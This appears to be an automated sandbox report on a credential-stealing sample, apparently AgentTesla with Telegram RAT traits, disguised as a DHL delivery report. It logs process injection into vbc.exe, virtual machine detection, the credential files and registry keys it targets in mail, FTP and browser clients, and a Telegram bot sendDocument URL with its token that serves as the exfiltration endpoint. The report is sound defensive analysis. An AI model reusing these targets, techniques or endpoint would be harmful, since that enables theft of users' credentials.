Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe TID: 6252 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe TID: 6448 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 6532 Thread sleep time: -20291418481080494s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 6508 Thread sleep count: 4344 > 30 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 6508 Thread sleep count: 4125 > 30 Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Window / User API: threadDelayed 4344 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Window / User API: threadDelayed 4125 Jump to behavior
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: vbc.exe, 00000002.00000002.636927086.0000000004E6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Enables debug privileges
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process token adjusted: Debug Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 2_2_0A102DB0 LdrInitializeThunk, 2_2_0A102DB0
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Writes to foreign memory regions
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 610000 Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 612000 Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 646000 Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 648000 Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 5CE008 Jump to behavior
Allocates memory in foreign processes
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 610000 protect: page execute and read and write Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 610000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Queries volume information: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected Telegram RAT
Source: Yara match File source: 00000002.00000002.637072337.0000000006981000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: vbc.exe PID: 2728, type: MEMORYSTR
Yara detected AgentTesla
Source: Yara match File source: 2.0.vbc.exe.610000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.vbc.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.0.vbc.exe.610000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.0.vbc.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.Dhl recent package delivery report needs attention.exe.353dd30.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.0.vbc.exe.610000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.Dhl recent package delivery report needs attention.exe.353dd30.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.Dhl recent package delivery report needs attention.exe.3509510.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.0.vbc.exe.610000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.Dhl recent package delivery report needs attention.exe.3509510.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000002.00000000.382250415.0000000000612000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.636043814.0000000000612000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000000.381341061.0000000000612000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000000.381707170.0000000000612000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000000.380913160.0000000000612000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.388827798.0000000003509000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.637072337.0000000006981000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Dhl recent package delivery report needs attention.exe PID: 6256, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vbc.exe PID: 2728, type: MEMORYSTR
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\ Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 00000002.00000002.637072337.0000000006981000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: vbc.exe PID: 2728, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Telegram RAT
Source: Yara match File source: 00000002.00000002.637072337.0000000006981000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: vbc.exe PID: 2728, type: MEMORYSTR
Yara detected AgentTesla
Source: Yara match File source: 2.0.vbc.exe.610000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.vbc.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.0.vbc.exe.610000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.0.vbc.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.Dhl recent package delivery report needs attention.exe.353dd30.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.0.vbc.exe.610000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.Dhl recent package delivery report needs attention.exe.353dd30.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.Dhl recent package delivery report needs attention.exe.3509510.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.0.vbc.exe.610000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.Dhl recent package delivery report needs attention.exe.3509510.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000002.00000000.382250415.0000000000612000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.636043814.0000000000612000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000000.381341061.0000000000612000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000000.381707170.0000000000612000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000000.380913160.0000000000612000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.388827798.0000000003509000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.637072337.0000000006981000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Dhl recent package delivery report needs attention.exe PID: 6256, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vbc.exe PID: 2728, type: MEMORYSTR
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
149.154.167.220
 api.telegram.org United Kingdom
62041 TELEGRAMRU false

Contacted Domains

Name IP Active
api.telegram.org 149.154.167.220 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://api.telegram.org/bot5279095555:AAE4HwAzPbUle9whPqEu6faWeNRU-6BRHps/sendDocument false
    		high